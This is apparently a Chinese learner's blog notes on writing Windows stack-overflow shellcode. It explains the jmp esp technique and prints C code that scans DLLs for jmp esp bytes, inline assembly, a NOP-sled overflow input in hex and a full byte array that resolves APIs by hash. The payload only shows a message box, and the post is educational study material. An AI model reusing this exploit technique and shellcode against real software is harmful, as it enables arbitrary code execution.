首页 > 代码库 > 【0day shellcode编写艺术】—— jmp esp、动态获取api。后续:编码、压缩

【0day shellcode编写艺术】—— jmp esp、动态获取api。后续:编码、压缩

此次主要徒手体会了一下编写shellcode 的不容易。当真不容易,看着作者的代码,都感觉自己无处可以下手了。 需要的底层原理知识也还挺多需要补充上去的。

打算后期再逐渐补充。目前阶段将jmp esp弄懂了。后面动态获取api在主机上出错了。问题和搜索jmp esp代码时候貌似一样,产生访问越权的问题。后期再继续解决吧。

目前整理一下整个的思路。

1、shellcode、expoit的概念;

2、为了更好的注入shellcode,里程碑式的方法。使用jmp esp。

3、后续:动态获取api、编码shellcode、压缩shellcode。

后续内容用在之后再学习。

1、shellcode、exploit概念

shellcode:通称缓冲区溢出攻击中植入进程的代码。

exploit: 代码植入的过程成为漏洞利用,即exploit。

2、里程碑式的注入方法:jmp esp

之前我们的一个思路,是将shellcode注入到缓冲区里面。通过溢出修改返回地址,指向缓冲区的起始位置从而执行shellcode。

但是这样会有一个弊端。目前溢出修改的返回地址是固定的,如果系统一重新启动,或者重新运行程序,分配的地址就会改变,原来的shellcode就不行了,需要再次od看地址,修改地址。这样很不方便。这个问题再困扰了人们很久以后,在1998年,黑客组织“cult of the dead cow”的Dildog首次提出了使用jmp esp的动态定位,成为shellcode里程碑式的进步。

98年,我还是小屁孩的。外面的世界就早已经风起云涌了= =惊讶

使用jmp esp有这样的原理。在每次当前函数返回之后,esp都会指向紧紧挨着的下一个栈帧的栈顶。那么通过将shellcode放在返回地址后面,就可以动态的执行了。

(其实我考虑能不能在shellcode中直接获取当前缓冲区的起始地址,然后动态的放到返回地址中,但发现难度大,而且麻烦,代码量也会增加很多。革命式的进步真是很伟大!)

目前的问题就是通过代码搜索内存的jmp esp指令的。使用OD插件可以成功,但是自己设计程序却始终无法找到。

uer32.dll找0x1000个字节就说越权了,不明白是为什么,难度目前windows对这个进行了控制?

OD的插件最后放出来。

自己写的代码(书上的)修改后,可以在VS2010中运行的。

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "kernel32.dll"

int _tmain(int argc, _TCHAR* argv[])
{
	BYTE *ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibraryA(DLL_NAME);
	if(!handle)
	{
		printf(" load dll error!");
		getchar();
		return 0;
	}
	ptr = (BYTE*)handle;
	printf("start at 0x%x\n",handle);
	for(position = 0 ; !done_flag ; position++)
	{
		__try
		{
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
			{
				address = (int)ptr + position;
				printf("jmp esp found at 0x%x\n",address);
			}			
		}
		__except(2)
		{
			address = (int)ptr + position;
			printf("END of 0x%x\n",address);
			done_flag = TRUE;
		}
	}
	getchar();
	return 0;
}


接着,依旧利用上一个章节的程序和password文件,构造shellcode注入。

为了让shellcode代码安全退出,比上个章节多找个exitprocess函数。

上次使用OD寻找,这次使用Dependency walker 查找,发现动态链接库的基址找的不准确。相对位置是准确的。

所以我还是用上面的search代码找的基址,用DK找的的相对位置。得到如下地址,每台电脑数据不一样。

uesr32 --> 76EF0000  mesg = 0x0006fd1e   
	0x76F5FD1E    USER32.MessageBoxA  
kernel32.dll 76bb0000   -->  exitprocess= 0x000179d8 
exit --> 0x76BC79D8
接着,写入相应的汇编代码,在对应的位置修改地址,获取机器码:

// shellcode_useJmp.cpp : 
//

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE LibHandle,LibHandle2;
	LibHandle = LoadLibraryA("user32.dll");
	LibHandle2 = LoadLibraryA("kernel32.dll");
	_asm
	{
		sub sp,0x440
		xor ebx,ebx
		push ebx
		push 0x74736577
		push 0x6c696166

		mov eax,esp
		push ebx
		push eax
		push eax
		push ebx

		mov eax,0x76F5FD1E 
		call eax//messagebox,修改

		push ebx
		mov eax,0x76BC79D8
		call eax//exit(0),修改
	}
	return 0;
}

得到机器码

013E13CC               66:81EC 4004    sub     sp, 440
013E13D1               33DB            xor     ebx, ebx
013E13D3               53              push    ebx
013E13D4               68 77657374     push    74736577
013E13D9               68 6661696C     push    6C696166
013E13DE               8BC4            mov     eax, esp
013E13E0               53              push    ebx
013E13E1               50              push    eax
013E13E2               50              push    eax
013E13E3               53              push    ebx
013E13E4               B8 1EFDF576     mov     eax, USER32.MessageBoxA
013E13E9               FFD0            call    eax
013E13EB               53              push    ebx
013E13EC               B8 D879BC76     mov     eax, kernel32.ExitProcess
013E13F1               FFD0            call    eax

写入到构造的txt文档中 为:

00000000h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000010h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000030h: 90 90 90 90 90 90 90 90 90 90 90 90 4F AE F8 76 ; 悙悙悙悙悙悙Ov
00000040h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S
00000050h: 50 50 53 B8 1E FD F5 76 FF D0 53 B8 D8 79 BC 76 ; PPS?v蠸肛y紇
00000060h: FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 袗悙悙悙悙悙悙?
00000070h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000080h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ; 悙悙悙悙悙悙悙?


最终运行成功弹出:并且安全退出


3、动态获取api、编码shellcode、压缩shellcode

这一部分就不做阐述了,因为我想后续再回来学习。里面涉及的代码大都我都无从修改。

叙述一小部分步骤:

【1、获取api 的hash】
MessageBoxA : 0x1e380a6a
ExitProcess:  0x4fd18963
LoadLIbraryA:  0x0c917432

获取hash的目的是为了缩短字符串的比较长度。

【2、直接载入书上的代码,运行获取机器码machine code】


【3、将machine code 转成数组存储】

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

至此,本章告一段落,感觉初次接触难度还是有的。

主要学到的知识就是shellcode的编写思路。以及整个流程,包括后续的编码,压缩等内容都有大致了解。

最终目的都是要构造一份精简、通用、准确的shellcdoe。

jmp esp 的用法确实不错。



下一章使用metasploit,非常期待!











【0day shellcode编写艺术】—— jmp esp、动态获取api。后续:编码、压缩